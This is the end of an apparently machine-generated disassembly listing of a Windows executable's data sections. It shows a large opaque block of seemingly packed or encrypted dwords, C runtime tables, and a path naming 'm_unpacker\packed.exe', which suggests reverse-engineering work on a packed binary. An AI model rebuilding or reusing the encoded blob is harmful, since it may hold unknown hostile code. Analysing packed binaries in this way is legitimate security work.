		dd 0C52B7B53h, 65655B8Ah, 8B1B363Ah, 1D726B1Eh,	72E3B2F5h
		dd 5397ACCBh, 1A595D13h, 985CD4B7h, 175A55h, 958EF7DCh
		dd 4A4F533Dh, 0CD6D8AB9h, 0B1CC70FEh, 35EDD1D0h, 26395859h
		dd 0D67D9CD7h, 9ABADCBAh, 7D89B6B9h, 57BACD41h,	93CE9DB6h
		dd 6169EBA1h, 1BB1E85Fh, 964B1756h, 3E6DB36Bh, 0F5CFB1D0h
		dd 0D7B5731Ch, 71D1BECAh, 0DA2CB5ABh, 0E347633Ah, 0B3D728FCh
		dd 0B97A741Ah, 556DAD71h, 0FD5A1EB2h, 0C7632A52h, 4A7E094Eh
		dd 4CAF66F6h, 97A4C7BDh, 8C9CD764h, 0B5A8F16Fh,	7EDAD6CAh
		dd 9AC1BF8Eh, 53A2CF69h, 0E5061AF6h, 0C60FE5B1h, 837CB07Eh
		dd 0EADEC8DAh, 75CEE597h, 67CE485Ah, 4B59F81h, 0FB2F528Fh
		dd 66304C2Dh, 3CA8C02Bh, 8465D6FEh, 4BED927Dh, 9B50FAA3h
		dd 0FCBBC195h, 6CDB4C0Dh, 0A3BA8E0Fh, 0D0B7D8ECh, 29DBA469h
		dd 80E9843Dh, 233E989h,	8CB7D99Ch, 71DB65DBh, 1E5464C7h
		dd 0B3DE1BE9h, 0CF50AF5Bh, 16864BB5h, 0D667B9B6h, 0CBDEEAE4h
		dd 0FD6D720Eh, 0D0AF89A9h, 0AD07676Eh, 18706D61h, 6D65598Eh
		dd 35960AF6h, 4AE8CAEBh, 4F99EF72h, 0B93EB3C7h,	3ACCF75Ah
		dd 0E46541D9h, 0B38F2CD4h, 0D3862645h, 0D46795F0h, 0BADB1267h
		dd 0E5CDDF47h, 8CAB980Ah, 975CDFB3h, 6E5466D5h,	41E59B65h
		dd 967DAFC5h, 0E59EB275h, 0BF76941h, 0B4EB9678h, 8EB99EB2h
		dd 8DFCC0D5h, 3E0E41CDh, 0D1C2FB27h, 5D658B78h,	32E06AD7h
		dd 91851A59h, 331885CBh, 0C7DF84F5h, 94655AC9h,	575BD4EDh
		dd 18DAE498h, 0CF254617h, 0E2C72389h, 5462CC5Fh, 0BD9BF9E9h
		dd 9ECAF47Ah, 66973DD6h, 0FF25DA3h, 0FCE7B361h,	0CBD36805h
		dd 0FB17F59h, 2BDB962Ah, 4505DC5Bh, 71829D26h, 7DA7D6DDh
		dd 95E8DF9Bh, 7E5C95C7h, 7A4B7150h, 0B0B96B05h,	0F2CFBD37h
		dd 6811FFA9h, 580DAFB7h, 5A8D73B4h, 0D159ACCBh,	1C56E936h
		dd 3B80470Bh, 0FE465B30h, 0E4AD5FB6h, 0F4C69C51h, 0EED6B22Fh
		dd 0E8DA38F8h, 9338F959h, 9BE6DBABh, 0B35AFD15h, 0FAD95F02h
		dd 59A9CFB6h, 0CA74571Fh, 0E5668B2Dh, 1CD6582Ah, 43EB8D2Dh
		dd 0E0FF81ABh, 51EDE0A7h, 0FE19F1DDh, 0D40AED36h, 36A8FA9h
		dd 0FD86E37Dh, 10DF752Dh, 0C7A161A3h, 0B67027C4h, 73142E3Ch
		dd 0FA29FAA3h, 7D8D5BBEh, 73C87FBDh, 458894BCh,	0BC3871A7h
		dd 2833BAFFh, 0ECABC2FBh, 0E8DB85F2h, 6D4E2CF9h, 0F593166Dh
		dd 0DC9DD989h, 0F8DF6F20h, 0A57A17E6h, 0D6D4691Fh, 0E17F573Dh
		dd 7B8829FAh, 754AF727h, 0F434C16Fh, 531E85C7h,	1BE8DABDh
		dd 38B1CED6h, 0B58ACB27h, 0D83CBD76h, 199AC3FCh, 0DED9DA37h
		dd 2C7FA7A0h, 4A8340CFh, 65C2C2A1h, 6546C52h, 0B0C6FB1Dh
		dd 0DE7CA72h, 8E5EF956h, 68FB5785h, 959A55EAh, 6E56A541h
		dd 0E6AC7FE6h, 9146BDA7h, 2DF4AF49h, 0F877CBBEh, 7B27032Ah
		dd 0D34AC72Bh, 0FAD56DA9h
		dd 84FCBFD1h, 170D270Dh, 7AE30B5Bh, 0F9C7EACBh,	65D8CBA4h
		dd 6CACF6CDh, 6C57ED0Bh, 8EEA34B8h, 0E65BBD96h,	0FC615ED9h
		dd 0E0F6B696h, 0B97F1868h, 0CFF2B6h, 5EC2BD66h,	0D53E171Fh
		dd 7167C56h, 473C63FDh,	0D8C19526h, 8FE83B3Eh, 35DCED72h
		dd 0B1DD6E8h, 0AD503BCDh, 6F301955h, 17DA15h, 0F506AD37h
		dd 0AD4E32FDh, 0C6341A5Dh, 0B017B847h, 6D941A71h, 832A6C97h
		dd 5BD418EBh, 469A5CF7h, 0A9E4D58h, 9BD0249Dh, 0B05BA520h
		dd 4DF497Eh, 0DB82EC96h, 869EEA7Fh, 9FEC146Eh, 96187F11h
		dd 0F72F42ADh, 9FB6FE8Ah, 3D34FA06h, 0A2872B3Dh, 477431B3h
		dd 18F6738Dh, 0C1AF3C14h, 0B0DF07BAh, 6BB02E32h, 56787F36h
		dd 6561AD9Ah, 656BAFA4h, 2EF43757h, 0EC885365h,	0F8A5B3C3h
		dd 5BCD3Eh, 6C578313h, 0FC2F839Bh, 95C7E43Fh, 0DB1AA7D1h
		dd 0BB30B7C6h, 9ECA3C37h, 668B4535h, 0B19D563h,	9E357A9Bh
		dd 5D113E31h, 0AEADB28Dh, 0A7C776BDh, 33C909FCh, 563A1D37h
		dd 0E15EAB1Dh, 99FD3E58h, 0B4ED1BB5h, 88CDA37Ch, 190014EAh
		dd 0BA81BE5Bh, 0BE800522h, 10A5F992h, 13290408h, 53F2A0CCh
		dd 710EA414h, 95956B4Ch, 357E60F7h, 170B6B49h, 9012A9B4h
		dd 63D6E5A4h, 1505AC82h, 58E9ABC2h, 59E054FAh, 4C94ACF3h
		dd 6C8F7546h, 0ECD3E72Fh, 5E3B68h, 253EA31Eh, 0AB7EB180h
		dd 1F46D834h, 0D2454DA4h, 7159AFA2h, 0F6166ED3h, 8DC1759Ch
		dd 0B71329ACh, 333BB829h, 0BC88C160h, 815A689Eh, 30BEB881h
		dd 13F40A2Dh, 8BE815F4h, 45A517D3h, 0C725E1Eh, 8CE4D345h
		dd 8B84B49Dh, 96C07F49h, 57809630h, 0A3225194h,	0B182C9A0h
		dd 9A0A2D33h, 0C0A0E12h, 0D139E858h, 0AEEC60A2h, 1538CFD5h
		dd 0D675E1DDh, 4D6127BBh, 0F83E8AF2h, 70D2DF3Ah, 0C1BBE93Bh
		dd 69AC292Dh, 0ED4B48DBh, 3C368185h, 4D164AF2h,	1DD44611h
		dd 71CDE3CAh, 0F2DBD77Bh, 164ADFBAh, 0DA8ABA8Eh, 763DF6BBh
		dd 6952D22Ch, 9A2DE4C6h, 67B63564h, 0E494D812h,	0E72B125Fh
		dd 0C4B6DE5Bh, 0F7CBBAF2h, 0AB25B358h, 31A57221h, 33C23E06h
		dd 4F849Eh, 9313E11Fh, 8F810CF0h, 0F0AF0CF0h, 38294759h
		dd 0D69AC2B3h, 61090D65h, 51C141CDh, 0ABF9118Ah, 8692835h
		dd 2B8E6B0Bh, 14B582CDh, 0B02D7BC3h, 3149EED0h,	166C2BAh
		dd 763DB8EEh, 253957E1h, 0A9ECB5B9h, 9639ACDDh,	0E37E9A6Fh
		dd 263D9B3Bh, 2FE57903h, 9FD4B7F8h, 739DFAD2h, 151B86BBh
		dd 6F739F5Bh, 2872A4D1h, 0EB03BB0Bh, 32F0CBA8h,	3EA1E3ACh
		dd 0F2B660EFh, 0CC144FA5h, 0C74CF672h, 0E554EC8Eh, 46C32624h
		dd 3AD4FBB3h, 3DE609FBh, 89021E92h, 5A572AE7h, 0A808A7BAh
		dd 0CE3EF87Ch, 38752DA8h, 0A02F142Dh, 1CE707ECh, 45639ACBh
		dd 0B25F6DADh, 0EF8C4A1h, 0FE8C654Ah, 7E679BCFh, 0F289053Ch
		dd 0D74AF0A8h, 277107D5h, 654143F1h, 0AD5494F4h, 1F5385FFh
		dd 0B98E4655h, 2FCAC772h, 81FF02A1h, 0EBB3273Ch, 449BB4D4h
		dd 28E3831Bh, 0E16B4A0Dh, 8AEFA661h, 72F1D65h, 4E14B66Ah
		dd 4B1C29E3h, 0C71258E2h, 0C22C7C22h, 58F642C7h, 0C88B1EC8h
		dd 52AC88B1h, 84FC610Fh, 3BCEC70Ah, 3B258A9Fh, 0AC816F33h
		dd 0E79B456Eh, 0CF9EAECh, 0DA3A36B2h, 70C6541Ah, 0B4E0A4B4h
		dd 83474B80h, 3B3818CAh, 0EB818B00h, 9C187C1Ah,	987BC187h
		dd 0FA6C3C9h, 21FB871Fh, 1F5D87E3h, 78475E06h, 17D28656h
		dd 878F60B4h, 11ED802Fh, 6A904AA4h, 80B96FD2h, 1C1603D0h
		dd 0B3930F0h, 0EA4E4752h, 1AA6226h, 749E207Ah, 0C243FC35h
		dd 52CF26B3h, 0BC12EC3Ah, 0AD245040h, 9CC581C1h, 0A0707520h
		dd 282C424Eh, 6AEADE8Ch, 0BA981C2h, 984E28BBh, 5162C1F5h
		dd 8F6E4502h, 7338076h,	99F61D1h, 0AFB8BCEh, 55D71303h
		dd 5EB92C4Eh, 0F999A110h, 0D7E91993h, 0B16F124h, 230CE1BFh
		dd 3E6AB1AAh, 0F816BC0Ch, 0EF97E006h, 0E6BC13E5h, 0A24B4A90h
		dd 0A89A867h, 0C3F33088h, 2F3C2516h, 1518E7B3h,	0C402541Ah
		dd 8347C024h, 50028D0Ah, 845A6C1h, 5A4303h, 2E0A6005h
		dd 4843500Ah, 0C090280Bh, 16976108h, 30C0480Ch,	80718851h
		dd 9C82103Dh, 0B7AA02B4h, 0CC019258h, 0B424D5Ch, 9C0705A8h
		dd 52848065h, 11C173CFh, 2051B057h, 2B08580Ah, 9A106E1Eh
		dd 159F5D81h, 28814C00h, 0CC2B0862h, 830020DCh,	301A0299h
		dd 5250A7Ah, 0C1CC2A2Bh, 58BA5A1h, 0C17E05B4h, 534E1017h
		dd 0EC84D8D4h, 2809ED60h, 688190B8h, 17820F86h,	50730A84h
		dd 5C37085h, 4A045C11h,	470B8070h, 521E4A9Ch, 902C455Ah
		dd 0EB0762C2h, 8341ED0h, 1CC3E0A1h, 0C0D0329h, 82318480h
		dd 0DB800D0Ah, 41020AF1h, 0F21CD788h, 0F79F428Ah, 76823A15h
		dd 6D835AB0h, 1DA29E4Eh, 0A4AC5301h, 1BB16078h,	7AC61644h
		dd 0F79B601Eh, 676647E0h, 0A3076Eh, 82FCBCB4h, 45C1E050h
		dd 6A005F8Ch, 1540D1E8h, 442C0A01h, 844A06A1h, 0F884D014h
		dd 0A00A005h, 78DC612Fh, 43CE40D0h, 2318261Ah, 1281A330h
		dd 168212Ah, 48E1390Fh,	0E82A171Ch, 4188F905h, 309D842Fh
		dd 0C02055DFh, 41360B0Fh, 60C8A8ACh, 0BC881E83h, 858561D0h
		dd 0F00B8E37h, 6079B8BCh, 0B341E089h, 575DE74Ah, 0CB530F1Ah
		dd 0A8208D4Fh, 0A9DC0AE3h, 4024003Fh, 8E7FFC00h, 2CE3h
		dd 892h	dup(0)
dword_612830	dd 25B6h		; DATA XREF: WinMain(x,x,x,x)+Ar
		dd 5A5Ah
a29516		db ' 29516',0           ; DATA XREF: WinMain(x,x,x,x)+6Bo
aXx		db 'XX',0
		align 4
		dd offset dword_60BE80
		dd offset dword_60BD30
		dd 101h, 11Eh, 0Fh, 60C300h, 60BDA8h, 0
		dd 1Eh,	0Fh, 0
		dd offset dword_60BDB8+68h
		align 8
		dd 13h,	7
off_612880	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_612884	dd 2			; DATA XREF: __NMSG_WRITE+58r
					; __FF_MSGBANNER+Er
		align 10h
		dd 10h,	0
dword_612898	dd 2			; DATA XREF: __NMSG_WRITE:loc_60672Er
					; __NMSG_WRITE+3Ar
off_61289C	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r
					; __NMSG_WRITE+112r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 60CB8Ch, 9, 60CB60h, 0Ah,	60CAC8h, 10h, 60CA9Ch
		dd 11h,	60CA6Ch, 12h, 60CA48h, 13h, 60CA1Ch, 18h, 60C9E4h
		dd 19h,	60C9BCh, 1Ah, 60C984h, 1Bh, 60C94Ch, 1Ch, 60C924h
		dd 1Dh,	60C880h, 78h, 60C86Ch, 79h, 60C85Ch, 7Ah, 60C84Ch
		dd 0FCh, 60C848h, 0FFh,	60C838h
dword_612930	dd 0C0000005h, 0Bh, 0	; DATA XREF: __XcptFilter+Co
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_6129A8	dd 3			; DATA XREF: __XcptFilter+84r
dword_6129AC	dd 7			; DATA XREF: __XcptFilter+89r
dword_6129B0	dd 0Ah			; DATA XREF: __XcptFilter+6r
dword_6129B4	dd 8Ch			; DATA XREF: __XcptFilter+B2r
					; __XcptFilter+BAw ...
		dd 0FFFFFFFFh, 0A80h
off_6129C0	dd offset asc_60CD68	; DATA XREF: __ismbcspace:loc_60597Cr
					; __isctype+12r ...
					; "	    (((((		   H"
		dd offset dword_60CF68+2
dword_6129C8	dd 1			; DATA XREF: __ismbcspace:loc_605967r
		dd 2Eh,	1, 0
byte_6129D8	db 1			; DATA XREF: __setmbcp+120r
		db 2, 4, 8
		align 10h
dword_6129E0	dd 3A4h			; DATA XREF: __setmbcp:loc_6076E4r
dword_6129E4	dd 82798260h		; DATA XREF: __setmbcp+15Cr
		dd 21h,	0
dword_6129F0	dd 0DFA6h		; DATA XREF: __setmbcp+100r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_612AD0	dd 9B11A94Dh		; DATA XREF: __NMSG_WRITE+Er
					; _setSBUpLow+9r ...
dword_612AD4	dd 19930520h, 3	dup(0)	; DATA XREF: .text:006080E7o
					; __NLG_Notify+2o
		dd 1, 6	dup(0)
; char *Str
Str		dd 0			; DATA XREF: start+11Cw
					; __setenvp:loc_606A98r ...
		align 8
dword_612B08	dd 0			; DATA XREF: __amsg_exitr start+D2r ...
dword_612B0C	dd 0			; DATA XREF: __callnewhr
dword_612B10	dd 0			; DATA XREF: _mallocr
					; _calloc:loc_60858Er ...
		align 10h
dword_612B20	dd 2			; DATA XREF: start+29w	___heap_selectr ...
dword_612B24	dd 0A28h		; DATA XREF: start+49w	start+5Aw
dword_612B28	dd 501h			; DATA XREF: start+65w
dword_612B2C	dd 5			; DATA XREF: start+32w
					; ___heap_select+9r ...
dword_612B30	dd 1			; DATA XREF: start+3Aw
dword_612B34	dd 1			; DATA XREF: __setargv+8Fw
dword_612B38	dd 320B20h		; DATA XREF: __setargv+95w
		align 10h
; void *Memory
Memory		dd 320B40h		; DATA XREF: __setenvp+48w
					; __setenvp:loc_606B37r ...
		align 10h
off_612B50	dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_612B58	db 0			; DATA XREF: _doexit+2Dw
		align 4
dword_612B5C	dd 0			; DATA XREF: _doexit+27w
dword_612B60	dd 0			; DATA XREF: _doexit+7r _doexit+B0w
dword_612B64	dd 0			; DATA XREF: __FF_MSGBANNER+21r
dword_612B68	dd 0			; DATA XREF: __XcptFilter+68r
					; __XcptFilter+73w ...
		align 10h
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co
					; .data:off_612B50o
		align 4
		dd 3Ah dup(0)
byte_612C74	db 0			; DATA XREF: __setargv+23w
		align 4
dword_612C78	dd 1			; DATA XREF: ___crtGetEnvironmentStringsA+2r
					; ___crtGetEnvironmentStringsA+24w ...
dword_612C7C	dd 1			; DATA XREF: ___crtGetStringTypeA+Er
					; ___crtGetStringTypeA+2Ew ...
dword_612C80	dd 1			; DATA XREF: __setmbcp+19w
					; __setmbcp+21w ...
dword_612C84	dd 0			; DATA XREF: ___crtMessageBoxA+9r
					; ___crtMessageBoxA+38w ...
dword_612C88	dd 0			; DATA XREF: ___crtMessageBoxA+4Dw
					; ___crtMessageBoxA:loc_607D2Er
dword_612C8C	dd 0			; DATA XREF: ___crtMessageBoxA+5Bw
					; ___crtMessageBoxA+D6r
dword_612C90	dd 0			; DATA XREF: ___crtMessageBoxA+7Bw
					; ___crtMessageBoxA:loc_607CE9r
dword_612C94	dd 0			; DATA XREF: ___crtMessageBoxA+6Cw
					; ___crtMessageBoxA+9Cr
dword_612C98	dd 0			; DATA XREF: __ValidateEH3RN:loc_60818Dr
					; __ValidateEH3RN+13Fr	...
		align 10h
dword_612CA0	dd 0			; DATA XREF: __ValidateEH3RN:loc_6081A0r
					; __ValidateEH3RN+1C4r	...
		dd 0Fh dup(0)
dword_612CE0	dd 3 dup(0)		; DATA XREF: __ValidateEH3RN+12Co
					; __ValidateEH3RN+191o	...
; int dword_612CEC
dword_612CEC	dd 0			; DATA XREF: __isctype+50r
					; ___crtGetStringTypeA+14Ar ...
		dd 3 dup(0)
; int dword_612CFC
dword_612CFC	dd 0			; DATA XREF: __isctype+59r
					; ___crtGetStringTypeA+75r ...
		dd 0
dword_612D04	dd 1			; DATA XREF: ___crtLCMapStringA+Er
					; ___crtLCMapStringA+31w ...
dword_612D08	dd 0			; DATA XREF: ___security_error_handler+17r
; int dword_612D0C
dword_612D0C	dd 0			; DATA XREF: __ismbcspace+37r
					; _setSBCS+1Aw	...
dword_612D10	dd 0			; DATA XREF: __ismbcspace+21r
					; _setSBCS+15w	...
		align 10h
byte_612D20	db 0			; DATA XREF: _setSBCS+6o __setmbcp+A7o ...
byte_612D21	db 0			; DATA XREF: _parse_cmdline+47r
					; _parse_cmdline+11Dr ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
; int dword_612E24
dword_612E24	dd 4E4h			; DATA XREF: __ismbcspace+40r
					; _setSBCS+10w	...
		align 10h
dword_612E30	dd 4 dup(0)		; DATA XREF: _setSBCS+1Fo
					; __setmbcp+162o ...
byte_612E40	db 0			; DATA XREF: _setSBUpLow:loc_6075EFw
					; _setSBUpLow:loc_60760Cw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
dword_612F40	dd 20h			; DATA XREF: __ioinit+1Fw
					; __ioinit:loc_606F06r	...
		dd 7 dup(0)
dword_612F60	dd 320650h		; DATA XREF: __ioinit:loc_606E97w
					; __ioinit+3Cr	...
dword_612F64	dd 3Fh dup(0)		; DATA XREF: __ioinit+91o
dword_613060	dd 1			; DATA XREF: __setenvp+9Fw
dword_613064	dd 32075Ch		; DATA XREF: _doexit+3Er
					; _doexit:loc_606659r ...
; void *dword_613068
dword_613068	dd 320758h		; DATA XREF: _doexit+34r _doexit+5Ar ...
dword_61306C	dd 1			; DATA XREF: __wincmdln+4r
					; __setenvp+3r	...
dword_613070	dd 0			; DATA XREF: __cinitr
; void *dword_613074
dword_613074	dd 0			; DATA XREF: ___sbh_heap_init+21w
					; ___sbh_free_block+21Cr ...
dword_613078	dd 0			; DATA XREF: ___sbh_heap_init+28w
					; ___sbh_find_blockr ...
dword_61307C	dd 0			; DATA XREF: ___sbh_heap_init+15w
					; ___sbh_find_block+8r	...
dword_613080	dd 0			; DATA XREF: __heap_alloc+Er
					; ___sbh_heap_init+36w	...
dword_613084	dd 0			; DATA XREF: ___sbh_heap_init+2Fw
					; ___sbh_free_block+300w ...
dword_613088	dd 0			; DATA XREF: ___sbh_heap_init+3Cw
					; ___sbh_alloc_new_region+5r ...
dword_61308C	dd 0			; DATA XREF: ___sbh_free_block+229r
					; ___sbh_free_block+249r ...
dword_613090	dd 320000h		; DATA XREF: __heap_alloc+38r
					; _free+2Ar ...
dword_613094	dd 1			; DATA XREF: __heap_allocr
					; __heap_alloc:loc_605663r ...
dword_613098	dd 142340h		; DATA XREF: start+112w
					; __wincmdln:loc_606A3Ar ...
_data		ends

; Section 4. (virtual address 00014000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00013200
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 614000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start